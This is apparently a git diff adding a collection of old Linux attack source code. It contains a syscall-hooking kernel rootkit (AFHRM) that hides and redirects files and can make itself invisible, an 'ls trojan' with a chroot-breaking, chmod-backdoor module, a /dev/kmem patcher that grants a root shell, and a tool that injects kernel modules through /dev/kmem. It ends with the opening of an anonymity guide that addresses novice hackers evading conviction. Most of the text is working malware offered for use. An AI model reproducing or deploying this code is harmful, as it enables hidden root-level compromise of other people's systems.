int flags,new_flags; +}; + +struct red redir_table[]={ + +// Include user-specific choices :-) +#include "config.h" + +}; + +#define REDIRS sizeof(redir_table)/sizeof(struct red) + +struct dat { // Inode database entry. + long ino,dev; + int valid; +}; + +int as_today,ohits,ghits, // internal counters. + uhits,lhits,rhits; + +struct dat polozenie[REDIRS]; // Inodes database. + +// Protos... +int collect(void); + +extern void* sys_call_table[]; + +// Old system calls handlers (for module removal). +int (*stary_open)(const char *pathname, int flags, mode_t mode); +int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count); +int (*stary_link)(const char* oldname,const char* newname); +int (*stary_unlink)(const char* name); +int (*stary_rename)(const char* oldname,const char* newname); + +int (*sys_stat)(void*,void*); +int (*mybrk)(void*); + + +// Ugly low-level hack - OH, HOW WE NEED IT :))) +int mystat(const char* arg1,struct stat* arg2,char space) { + unsigned long m1=0,m2; + long __res; + char* a1; + struct stat* a2; + if (!space) { + // If needed, duplicate 1st argument to user space... + m1=current->mm->brk; + mybrk((void*)(m1+strlen(arg1)+1)); + a1=(char*)(m1+2); + memcpy_tofs(a1,arg1,strlen(arg1)+1); + } else a1=(char*)arg1; + // Allocate space for 2nd argument... + m2=current->mm->brk; + mybrk((void*)(m2+sizeof(struct stat))); + a2=(struct stat*)(m2+2); + // Call stat(...) + __res=sys_stat(a1,a2); + // Copy 2nd argument back... + memcpy_fromfs(arg2,a2,sizeof(struct stat)); + // Free memory. + if (!space) mybrk((void*)m1); else mybrk((void*)m2); + return __res; +} + +// New open(...) handler. +extern int nowy_open(const char *pathname, int flags, mode_t mode) { + int i=0,n; + char zmieniony=0,*a1; + struct stat buf; + unsigned long m1=0; + if (++as_today>INTERV) { + as_today=0; + collect(); + } + if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid + && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { + if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0; + switch(flags) { + case O_RDONLY: + if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1; + break; + case O_WRONLY: + if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1; + break; + default: + if (n && (n & (O_RDONLY|O_WRONLY))) n=1; + n=0; + } +#ifdef DEBUG + printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino); + printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags); + printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0); +#endif + ohits++; + if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR))) + if (redir_table[i].dst) { + flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) | + (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) | + (redir_table[i].new_flags & M_MAIN); + /* User space trick */ + m1=current->mm->brk; + mybrk((void*)(m1+strlen(redir_table[i].dst)+1)); + a1=(char*)(m1+2); + memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1); + pathname=a1; + zmieniony=1; + } else return -ERR; + } + i=stary_open(pathname,flags,mode); + if (zmieniony) mybrk((void*)m1); + return i; +} + + +// New getdents(...) handler. +int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { + int ret,n,t,i,dev; + struct dirent *d2,*d3; + ret=stary_getdents(fd,dirp,count); + dev = (long)current->files->fd[fd]->f_inode->i_dev; + if (ret>0) { + d2=(struct dirent*)kmalloc(ret,GFP_KERNEL); + memcpy_fromfs(d2,dirp,ret); + d3=d2; + t=ret; + while (t>0) { + n=d3->d_reclen; + t-=n; + for (i=0;i<REDIRS;i++) + if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */ + d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) { +#ifdef DEBUG + printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n", + redir_table[i].src,dev,d3->d_ino,ret,t); +#endif + ghits++; + if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024; + ret-=n; + } + if (!d3->d_reclen) { ret-=t;t=0; } + if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen); + } + memcpy_tofs(dirp,d2,ret); + kfree(d2); + } + return ret; +} + + +// New link(...) handler. +extern int nowy_link(const char *oldname,const char *newname) { + int i; + struct stat buf; + if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid && + (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL || + redir_table[i].flags | O_STILL ) && + (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { +#ifdef DEBUG + printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev, + (long)*((char*)&buf.st_dev+4)); +#endif + lhits++; + if (redir_table[i].dst) return -STILL_ERR; else return -ERR; + } + return stary_link(oldname,newname); +} + + +// New unlink(...) handler. +extern int nowy_unlink(const char *name) { + int i; + struct stat buf; + if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid && + (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL || + redir_table[i].flags | O_STILL ) && + (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { +#ifdef DEBUG + printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev, + (long)*((char*)&buf.st_dev+4)); +#endif + uhits++; + if (redir_table[i].dst) return -STILL_ERR; else return -ERR; + } + return stary_unlink(name); +} + + +// New rename(...) handler. +extern int nowy_rename(const char *oldname, const char* newname) { + int i; + struct stat buf; + if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid && + (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL || + redir_table[i].flags | O_STILL ) && + (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { +#ifdef DEBUG + printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev, + (long)*((char*)&buf.st_dev+4)); +#endif + rhits++; + if (redir_table[i].dst) return -STILL_ERR; else return -ERR; + } + return stary_rename(oldname,newname); +} + + +// Inode database rebuild procedure. +int collect() { + int x=0,i=0,err; + struct stat buf; +#ifdef DEBUG + printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n"); +#endif + for (;i<REDIRS;i++) + if (!(err=mystat(redir_table[i].src,&buf,0))) { + polozenie[i].valid=1; + polozenie[i].dev=buf.st_dev; + polozenie[i].ino=(long)*((char*)&buf.st_dev+4); +#ifdef DEBUG + printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src, + buf.st_dev,buf.st_ino); +#endif + x++; + } else { + polozenie[i].valid=0; +#ifdef DEBUG + printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err); + } + if (x!=REDIRS) { + printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x); +#endif + } + return x; +} + +// ******** +// MAINS :) +// ******** + + +// Module startup. +int init_module(void) { +#ifdef HIDDEN + register struct module *mp asm("%ebp"); +#endif + int x; + unsigned long flags; + save_flags(flags); + cli(); // To satisfy kgb ;-) +#ifdef HIDDEN + *(char*)(mp->name)=0; + mp->size=0; + mp->ref=0; +#endif +#ifdef VERBOSE + printk("AFHRM_INIT: Version " VERSION " starting.\n"); +#ifdef HIDDEN + register_symtab(0); + printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n"); +#endif + printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV); +#endif + sys_stat=sys_call_table[__NR_stat]; + mybrk=sys_call_table[__NR_brk]; + x=collect(); + stary_open=sys_call_table[__NR_open]; + stary_getdents=sys_call_table[__NR_getdents]; + stary_link=sys_call_table[__NR_link]; + stary_unlink=sys_call_table[__NR_unlink]; + stary_rename=sys_call_table[__NR_rename]; +#ifdef VERBOSE + printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open); + printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents, + (int)nowy_getdents); + printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link); + printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink, + (int)nowy_unlink); + printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename, + (int)nowy_rename); +#endif + sys_call_table[__NR_open]=nowy_open; + sys_call_table[__NR_getdents]=nowy_getdents; + sys_call_table[__NR_link]=nowy_link; + sys_call_table[__NR_unlink]=nowy_unlink; + sys_call_table[__NR_rename]=nowy_rename; +#ifdef VERBOSE + printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS); +#endif + restore_flags(flags); + return 0; +} + + +// Module shutdown... +void cleanup_module(void) { + unsigned long flags; + save_flags(flags); + cli(); // To satisfy kgb ;-) +#ifdef VERBOSE + printk("AFHRM_INIT: Version " VERSION " shutting down.\n"); +#endif + sys_call_table[__NR_open]=stary_open; + sys_call_table[__NR_getdents]=stary_getdents; + sys_call_table[__NR_link]=stary_link; + sys_call_table[__NR_unlink]=stary_unlink; + sys_call_table[__NR_rename]=stary_rename; +#ifdef VERBOSE + printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n", + ohits,ghits,lhits,uhits,rhits); +#endif + restore_flags(flags); +} + + +

    CHROOT module trick

    + +NAME : chr.c
    +AUTHOR : FLoW/HISPAHACK
    +DESCRIPTION : The first source represents the ls 'trojan'. The second one + represents the actual module which is doing the chroot trick.
    +LINK : http://hispahack.ccc.de
    + + + +/*LS 'TROJAN'*/ +/* Sustituto para el "ls" de un ftp restringido. + * Carga el modulo del kernel chr.o + * FLoW - !H'98 + */ + +#include <stdio.h> +#include <sys/wait.h> + +main() +{ +int estado; + +printf("UID: %i EUID: %i\n",getuid(),geteuid()); +printf("Cambiando EUID...\n"); + +setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */ + +printf("UID: %i EUID: %i\n",getuid(),geteuid()); + +switch(fork()) +{ +case -1: printf("Error creando hijo.\n"); +case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0); + printf("Error ejecutando insmod.\n"); + exit(1); +default: printf("Cargando modulo chroot...\n"); + wait(&estado); + if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0) + printf("Modulo cargado!\n"); + else + printf("Error cargando modulo.\n"); + break; +} +} + + + +/* Modulo del kernel para anular un chroot() y "retocar" chmod() + * FLoW - !H'98 + * Basado en heroin.c de Runar Jensen <zarq@opaque.org> + */ + +#include <linux/fs.h> +#include <linux/module.h> +#include <linux/malloc.h> +#include <linux/unistd.h> +#include <sys/syscall.h> + +#include <linux/dirent.h> +#include <linux/proc_fs.h> +#include <stdlib.h> + + +static inline _syscall2(int, chmod, const char*, path, mode_t, mode); +static inline _syscall1(int, setuid, uid_t, uid); + +extern void *sys_call_table[]; + +int (*original_chroot)(const char *, const char*); +int (*original_chmod)(const char *, mode_t); +int (*original_setuid)(uid_t); + +int hacked_chmod(const char *path, mode_t mode) +{ +int err; + +if(mode==83) { /* chmod 123 XXX */ + (*original_setuid)(0); + err=(*original_chmod)(path, 511); /* chmod 777 XXX */ + } + +else { + err=(*original_chmod)(path, mode); + } + +return(err); +} + +int hacked_chroot(const char *path, const char *cmd) +{ + return(0); +} + +int init_module(void) +{ + original_setuid = sys_call_table[SYS_setuid]; + original_chroot = sys_call_table[SYS_chroot]; + sys_call_table[SYS_chroot] = hacked_chroot; + original_chmod = sys_call_table[SYS_chmod]; + sys_call_table[SYS_chmod] = hacked_chmod; + return(0); +} + +void cleanup_module(void) +{ + sys_call_table[SYS_chroot] = original_chroot; + sys_call_table[SYS_chmod] = original_chmod; +} + + + +

    Kernel Memory Patching

    + +NAME : kmemthief.c
    +AUTHOR : unknown (I really tried to find out, but I found no comments) + I found a similar source by daemon9 who took it from 'Unix + Security: A practical tutorial'
    +DESCRIPTION : This is a 'standard' kmem patcher, which gives you root (your + user process). The system you try to exploit must permit write + and read access to /dev/kmem. There are some systems that make + that fault but don't rely on that.
    +LINK : http://www.rootshell.com
    + + + + +/* + kmem_thief + compile as follows: + cc -O kmem_thief.c -ld -o kmem_thief +*/ +#include <stdio.h> +#include <fcntl.h> +#include <sys/signal.h> +#include <sys/param.h> +#include <sys/types.h> +#include <sys/dir.h> +#include <sys/user.h> + +struct user userpage; +long address(), userlocation; + +int main(argc, argv, envp) + int argc; + char *argv[], *envp[]; +{ + int count, fd; + long where, lseek(); + fd = open( "/dev/kmem",O_RDWR); + if(fd < 0) + { + printf("Could not open /dev/kmem.\n"); + perror(argv); + exit(10); + } + userlocation = address(); + where = lseek(fd, userlocation, 0); + if(where != userlocation) + { + printf("Could not seek to user page.\n"); + perror(argv); + exit(20); + } + count = read(fd, &userpage, sizeof(struct user)); + if(count != sizeof(struct user)) + { + printf("Could not read user page.\n"); + perror(argv); + exit(30); + } + printf(" Current uid is %d\n", userpage.u_ruid); + printf(" Current gid is %d\n", userpage.u_rgid); + printf(" Current euid is %d\n", userpage.u_uid); + printf(" Current egid is %d\n", userpage.u_gid); + userpage.u_ruid = 0; + userpage.u_rgid = 0; + userpage.u_uid = 0; + userpage.u_gid = 0; + where = lseek(fd, userlocation, 0); + if(where != userlocation) + { + printf("Could not seek to user page.\n"); + perror(argv); + exit(40); + } + write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage)); + execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp); +} + +# include <filehdr.h> +# include <syms.h> +# include <ldfcn.h> + +# define LNULL ( (LDFILE *)0 ) + +long address () +{ + LDFILE *object; + SYMENT symbol; + long idx; + object = ldopen( "/unix", LNULL ); + if( object == LNULL ) { + fprintf( stderr, "Could not open /unix.\n" ); + exit( 50 ); + } + for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) { + if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) { + fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value ); + ldclose( object ); + return( symbol.n_value ); + } + } + fprintf( stderr, "Could not read symbols in /unix.\n"); + exit( 60 ); +} + + + +

    Module insertion without native support

    + +NAME : kinsmod.c
    +AUTHOR : Silvio Cesare
    +DESCRIPTION : This is a very nice program which allows us to insert LKMs + on system with no native module support.
    +LINK : found it by a search on http://www.antisearch.com
    + + + + +/**********needed include file*/ +#ifndef KMEM_H +#define KMEM_H + +#include <linux/module.h> +#include <unistd.h> +#include <fcntl.h> + +/* + these functions are anologous to standard file routines. +*/ + +#define kopen(mode) open("/dev/kmem", (mode)) +#define kclose(kd) close((kd)) + +ssize_t kread(int kd, int pos, void *buf, size_t size); +ssize_t kwrite(int kd, int pos, void *buf, size_t size); + +/* + ksyms initialization and cleanup +*/ + +int ksyms_init(const char *map); +void ksyms_cleanup(void); + +/* + print the ksym table +*/ + +void ksyms_print(void); + +/* + return the ksym of name 'name' or NULL if no symbol exists +*/ + +struct kernel_sym *ksyms_find(const char *name); + +#endif + + +/**********KMEM functions*/ +#include <stdio.h> +#include <stdlib.h> +#include <ctype.h> +#include <string.h> +#include <unistd.h> +#include <fcntl.h> +#include <stdio.h> +#include <linux/module.h> +#include <linux/unistd.h> +#include "kmem.h" + +struct ksymlist { + struct ksymlist* next; + struct kernel_sym ksym; +}; + +struct ksymlisthead { + struct ksymlist* next; +}; + +/* + the hash size must be an integral power of two +*/ + +#define KSYM_HASH_SIZE 512 + +struct ksymlisthead ksymhash[KSYM_HASH_SIZE]; + +/* + these functions are anologous to standard file routines. +*/ + +ssize_t kread(int kd, int pos, void *buf, size_t size) +{ + int retval; + + retval = lseek(kd, pos, SEEK_SET); + if (retval != pos) return retval; + + return read(kd, buf, size); +} + +ssize_t kwrite(int kd, int pos, void *buf, size_t size) +{ + int retval; + + retval = lseek(kd, pos, SEEK_SET); + if (retval != pos) return retval; + + return write(kd, buf, size); +} + +void ksyms_print(void) +{ + int i; + + for (i = 0; i < KSYM_HASH_SIZE; i++) { + struct ksymlist *head = (struct ksymlist *)&ksymhash[i]; + struct ksymlist *current = ksymhash[i].next; + + while (current != head) { + printf( + "name: %s addr: %lx\n", + current->ksym.name, + current->ksym.value + ); + current = current->next; + } + } +} + +void ksyms_cleanup(void) +{ + int i; + + for (i = 0; i < KSYM_HASH_SIZE; i++) { + struct ksymlist *head = (struct ksymlist *)&ksymhash[i]; + struct ksymlist *current = head->next; + + while (current != head) { + struct ksymlist *next = current->next; + + free(current); + current = next; + } + } +} + +int hash(const char *name) +{ + unsigned long h; + const char *p; + + for (h = 0, p = name; *p; h += (unsigned char)*p, p++); + + return h & (KSYM_HASH_SIZE - 1); +} + +int ksyminsert(struct kernel_sym *ksym) +{ + struct ksymlist *node; + struct ksymlisthead *head; + + node = (struct ksymlist *)malloc(sizeof(struct ksymlist)); + if (node == NULL) return -1; + + head = &ksymhash[hash(ksym->name)]; + + memcpy(&node->ksym, ksym, sizeof(*ksym)); + + node->next = (struct ksymlist *)head->next; + head->next = node; + + return 0; +} + +int ksyms_init(const char *map) +{ + char s[512]; + FILE *f; + int i; + + for (i = 0; i < KSYM_HASH_SIZE; i++) + ksymhash[i].next = (struct ksymlist *)&ksymhash[i]; + + f = fopen(map, "r"); + if (f == NULL) return -1; + + while (fgets(s, sizeof(s), f) != NULL) { + struct kernel_sym ksym; + char *n, *p; + + ksym.value = strtoul(s, &n, 16); + if (n == s || *n == 0) goto error; + + p = n; + while (*p && isspace(*p)) ++p; + if (*p == 0 || p[1] == 0 || p[2] == 0) goto error; + + p += 2; + n = p; + while (*p && !isspace(*p)) ++p; + if (*p) *p = 0; + + strncpy(ksym.name, n, 60); + + if (ksyminsert(&ksym) < 0) goto error; + } + + fclose(f); + return 0; + +error: + fclose(f); + ksyms_cleanup(); + printf("--> %s\n", s); + return -1; +} + +struct kernel_sym *ksyms_find(const char *name) +{ + struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)]; + struct ksymlist *current = head->next; + + while (current != head) { + if (!strncmp(current->ksym.name, name, 60)) + return &current->ksym; + + current = current->next; + } + + return NULL; +} + + + +/**********MAIN PROGRAM : kinsmod.c*/ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <fcntl.h> +#include <elf.h> +#include <getopt.h> +#include "kmem.h" + +static char system_map[] = "System.kmap"; +static int error = 0; +static int run = 0; +static int force = 0; + +struct _module { + Elf32_Ehdr ehdr; + Elf32_Shdr* shdr; + unsigned long maddr; + int maxlen; + int len; + int strtabidx; + char** section; +}; + +Elf32_Sym *local_sym_find( + Elf32_Sym *symtab, int n, char *strtab, const char *name +) +{ + int i; + + for (i = 0; i < n; i++) { + if (!strcmp(&strtab[symtab[i].st_name], name)) + return &symtab[i]; + } + + return NULL; +} + +Elf32_Sym *localall_sym_find(struct _module *module, const char *name) +{ + char *strtab = module->section[module->strtabidx]; + int i; + + for (i = 0; i < module->ehdr.e_shnum; i++) { + Elf32_Shdr *shdr = &module->shdr[i]; + + if (shdr->sh_type == SHT_SYMTAB) { + Elf32_Sym *sym; + + sym = local_sym_find( + (Elf32_Sym *)module->section[i], + shdr->sh_size/sizeof(Elf32_Sym), + strtab, + name + ); + if (sym != NULL) return sym; + } + } + + return NULL; +} + +void check_module(struct _module *module, int fd) +{ + Elf32_Ehdr *ehdr = &module->ehdr; + + if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) { + perror("read"); + exit(1); + } + +/* ELF checks */ + + if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) { + fprintf(stderr, "File not ELF\n"); + exit(1); + } + + if (ehdr->e_type != ET_REL) { + fprintf(stderr, "ELF type not ET_REL\n"); + exit(1); + } + + if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) { + fprintf(stderr, "ELF machine type not EM_386 or EM_486\n"); + exit(1); + } + + if (ehdr->e_version != EV_CURRENT) { + fprintf(stderr, "ELF version not current\n"); + exit(1); + } +} + +void load_section(char **p, int fd, Elf32_Shdr *shdr) +{ + if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) { + perror("lseek"); + exit(1); + } + + *p = (char *)malloc(shdr->sh_size); + if (*p == NULL) { + perror("malloc"); + exit(1); + } + + if (read(fd, *p, shdr->sh_size) != shdr->sh_size) { + perror("read"); + exit(1); + } +} + +void load_module(struct _module *module, int fd) +{ + Elf32_Ehdr *ehdr; + Elf32_Shdr *shdr; + char **sectionp; + int slen; + int i; + + check_module(module, fd); + + ehdr = &module->ehdr; + slen = sizeof(Elf32_Shdr)*ehdr->e_shnum; + + module->shdr = (Elf32_Shdr *)malloc(slen); + if (module->shdr == NULL) { + perror("malloc"); + exit(1); + } + + module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum); + if (module->section == NULL) { + perror("malloc"); + exit(1); + } + + if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) { + perror("lseek"); + exit(1); + } + + if (read(fd, module->shdr, slen) != slen) { + perror("read"); + exit(1); + } + + for ( + i = 0, sectionp = module->section, shdr = module->shdr; + i < ehdr->e_shnum; + i++, sectionp++ + ) { + switch (shdr->sh_type) { + case SHT_NULL: + case SHT_NOTE: + case SHT_NOBITS: + break; + + case SHT_STRTAB: + load_section(sectionp, fd, shdr); + if (i != ehdr->e_shstrndx) + module->strtabidx = i; + break; + + case SHT_SYMTAB: + case SHT_PROGBITS: + case SHT_REL: + load_section(sectionp, fd, shdr); + break; + + default: + fprintf( + stderr, + "No handler for section (type): %i\n", + shdr->sh_type + ); + exit(1); + } + + ++shdr; + } +} + +void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr) +{ + Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link]; + Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)]; + Elf32_Addr addr; + Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info]; + Elf32_Addr dot = targshdr->sh_addr + rel->r_offset; + Elf32_Addr *loc = (Elf32_Addr *)( + module->section[shdr->sh_info] + rel->r_offset + ); + char *name = &module->section[module->strtabidx][sym->st_name]; + + if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) { + struct kernel_sym *ksym; + + if (force) { + char novname[60]; + int len; + + len = strlen(name); + if (len > 10 && !strncmp(name + len - 10, "_R", 2)) { + strncpy(novname, name, len - 10); + novname[len - 10] = 0; + ksym = ksyms_find(novname); + } else + ksym = ksyms_find(name); + } else + ksym = ksyms_find(name); + if (ksym != NULL) { + addr = ksym->value; + +#ifdef DEBUG + printf( + "Extern symbol is (%s:%lx)\n", + ksym->name, + (unsigned long)addr + ); +#endif + goto next; + } + + if ( + sym->st_shndx == 0 || + sym->st_shndx > module->ehdr.e_shnum + ) { + fprintf( + stderr, + "ERROR: undefined symbol (%s)\n", name + ); + ++error; + return; + } + } + + addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr; + +#ifdef DEBUG + printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr); +#endif + +next: + if (targshdr->sh_type == SHT_SYMTAB) return; + if (targshdr->sh_type != SHT_PROGBITS) { + fprintf( + stderr, + "Rel not PROGBITS or SYMTAB (type: %i)\n", + targshdr->sh_type + ); + exit(1); + } + + switch (ELF32_R_TYPE(rel->r_info)) { + case R_386_NONE: + break; + + case R_386_PLT32: + case R_386_PC32: + *loc -= dot; /* *loc += addr - dot */ + + case R_386_32: + *loc += addr; + break; + + default: + fprintf( + stderr, "No handler for Relocation (type): %i", + ELF32_R_TYPE(rel->r_info) + ); + exit(1); + } +} + +void relocate_module(struct _module *module) +{ + int i; + + for (i = 0; i < module->ehdr.e_shnum; i++) { + if (module->shdr[i].sh_type == SHT_REL) { + int j; + Elf32_Rel *relp = (Elf32_Rel *)module->section[i]; + + for ( + j = 0; + j < module->shdr[i].sh_size/sizeof(Elf32_Rel); + j++ + ) { + relocate( + module, + relp, + &module->shdr[i] + ); + + ++relp; + } + } + } +} + +void print_symaddr(struct _module *module, const char *symbol) +{ + Elf32_Sym *sym; + + sym = localall_sym_find(module, symbol); + if (sym == NULL) { + fprintf(stderr, "No symbol (%s)\n", symbol); + ++error; + return; + } + + printf( + "%s: 0x%lx\n", + symbol, + (unsigned long)module->shdr[sym->st_shndx].sh_addr + + sym->st_value + ); +} + +void init_module(struct _module *module, unsigned long maddr) +{ + int i; + unsigned long len = 0; + + module->maddr = maddr; + + for (i = 0; i < module->ehdr.e_shnum; i++) { + if (module->shdr[i].sh_type != SHT_PROGBITS) continue; + + module->shdr[i].sh_addr = len + maddr; + len += module->shdr[i].sh_size; + } + + module->len = len; + + if (module->maxlen > 0 && module->len > module->maxlen) { + fprintf( + stderr, + "Module too large: (modsz: %i)\n", + module->len + ); + exit(1); + } + + printf("Module length: %i\n", module->len); + + relocate_module(module); + + print_symaddr(module, "init_module"); + print_symaddr(module, "cleanup_module"); +} + +void do_module(struct _module *module, int fd) +{ + int kd; + int i; + +#ifdef DEBUG + for (i = 0; i < module->ehdr.e_shnum; i++) { + if (module->shdr[i].sh_type != SHT_PROGBITS) continue; + + if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) { + perror("lseek"); + exit(1); + } + + if ( + write( + fd, module->section[i], module->shdr[i].sh_size + ) != module->shdr[i].sh_size + ) { + perror("write"); + exit(1); + } + } +#else + + kd = open("/dev/kmem", O_RDWR); + if (kd < 0) { + perror("open"); + exit(1); + } + + if (lseek(kd, module->maddr, SEEK_SET) < 0) { + perror("lseek"); + exit(1); + } + + for (i = 0; i < module->ehdr.e_shnum; i++) { + if (module->shdr[i].sh_type != SHT_PROGBITS) continue; + + if ( + write( + kd, module->section[i], module->shdr[i].sh_size + ) != module->shdr[i].sh_size + ) { + perror("write"); + exit(1); + } + } + + close(kd); +#endif +} + +int main(int argc, char *argv[]) +{ + char *map = system_map; + struct _module module; + int fd; + int ch; + int retval = 0; + + while ((ch = getopt(argc, argv, "m:tf")) != EOF) { + switch (ch) { + case 'm': + map = optarg; + break; + + case 't': + ++run; + break; + + case 'f': + ++force; + break; + } + } + +/* + so we can move options in and out without changing the codes idea + of what argv and argc look like. +*/ + + --optind; + + argv += optind; + argc -= optind; + + if (argc != 3 && argc != 4) { + fprintf( + stderr, + "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n" + ); + exit(1); + } + +#ifdef DEBUG + fd = open(argv[1], O_RDWR); +#else + fd = open(argv[1], O_RDONLY); +#endif + if (fd < 0) { + perror("open"); + exit(1); + } + + if (ksyms_init(map) < 0) { + perror("ksyms_init"); + exit(1); + } + + module.maxlen = (argc == 4 ? atoi(argv[3]) : -1); + load_module(&module, fd); + init_module(&module, strtoul(argv[2], NULL, 16)); + if (run == 0) { + if (error == 0) { + do_module(&module, fd); + } else { + fprintf( + stderr, + "FAILED: (%i) errors. Exiting...\n", error + ); + ++retval; + } + } + + ksyms_cleanup(); + + exit(retval); +} + + diff --git a/Papers/Practical-SEH-exploitation.pdf b/Papers/Practical-SEH-exploitation.pdf new file mode 100644 index 0000000..bce8026 Binary files /dev/null and b/Papers/Practical-SEH-exploitation.pdf differ diff --git a/Papers/anonymous-unix.html b/Papers/anonymous-unix.html new file mode 100644 index 0000000..60062e3 --- /dev/null +++ b/Papers/anonymous-unix.html @@ -0,0 +1,1101 @@ + + + +Anonymous Unix Systems + + + +
    +

    +---[ Anonymizing UNIX Systems ]--- +
    +version 0.9 +

    +

    + + +
    Author: van Hauser / +THC
    +
    +
    +



    + +

    +
    +-------------------- +




    + + + + +* I. THE AUDIENCE +
    +
    + +This text is for any human being out there who wishes to keep their data and +doings private from any snooping eye - monitoring network traffic and +stealing/accessing the computer including electronic forensics. +Hackers, phreakers, criminals, members of democracy parties in totalitarian +states, human rights workers, and people with high profiles might be +interested in this information. +It was especially written for novice hackers so they are not so easily +convicted when busted for their early curiosity. +
    +
    + +Thanks to Solar Designer, Fyodor, typo, tick, pragmatic, mixter and +doc holiday for comments, critics and ideas. +
    +Special thanks to rookie who had the original idea writing this paper +but through personal problems couldn't do it himself. +
    +
    +
    +
    + + + + +* II. GOAL +
    +
    + +Our goal is to provide solutions to the following statements: +
    +
    +
      + (1) The solution should be simple and easy
      + (2) All user data should be inaccessible by anyone except their owner
      + (3) Nobody should be able to reconstruct what is happening on the system
      +
    + +Maybe you see contradictions ;-) + + +
    +
    +
    +
    + +* III. PREREQUISITES +
    +
    + +It is important to state the prerequisites for this project: +
    +
      + - The system should be secure. No remote vulnerabilities (and hopefully + no local ones either)
      + - The system administator(s) must be trusted and willing to set this up
      + - The operating system to achieve this is a UNIX
      +
    + +Note that the solutions presented do not 100% fit internet servers. +
    +However it's (nearly, bah ;-) perfect for enduser systems. +
    +
    + +For the UNIX part, we show the solutions for Linux because it is the unix +most easily for beginners to get their hands on and administrate. +
    +The Linux distribution we use is the SuSE Linux Distribution 6.0 +
    +Debian is better but more complicated for beginners. And I dislike +redhat for it's missing security. +
    +You should know enough about unix (what is portmap, mount, rc2.d etc.) +before trying to understand this text. It's *not* a Linux-Howto! + + + +
    +
    +
    +
    + +* IV. USER DATA +
    + +*** 1. Sensitive user data +
    +
    + +What is sensitive user data? Well *any* data from a user account. +This includes: +
      + - utmp/wtmp/lastlog data (login times and duration plus login hosts)
